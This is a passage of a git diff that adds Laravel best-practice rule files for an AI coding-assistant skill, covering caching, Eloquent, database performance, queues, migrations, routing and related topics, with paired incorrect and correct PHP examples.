+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/collections.md b/.claude/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/config.md b/.claude/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/db-performance.md b/.claude/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/eloquent.md b/.claude/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/error-handling.md b/.claude/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/events-notifications.md b/.claude/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/http-client.md b/.claude/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/mail.md b/.claude/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/migrations.md b/.claude/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/queue-jobs.md b/.claude/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/routing.md b/.claude/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/scheduling.md b/.claude/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
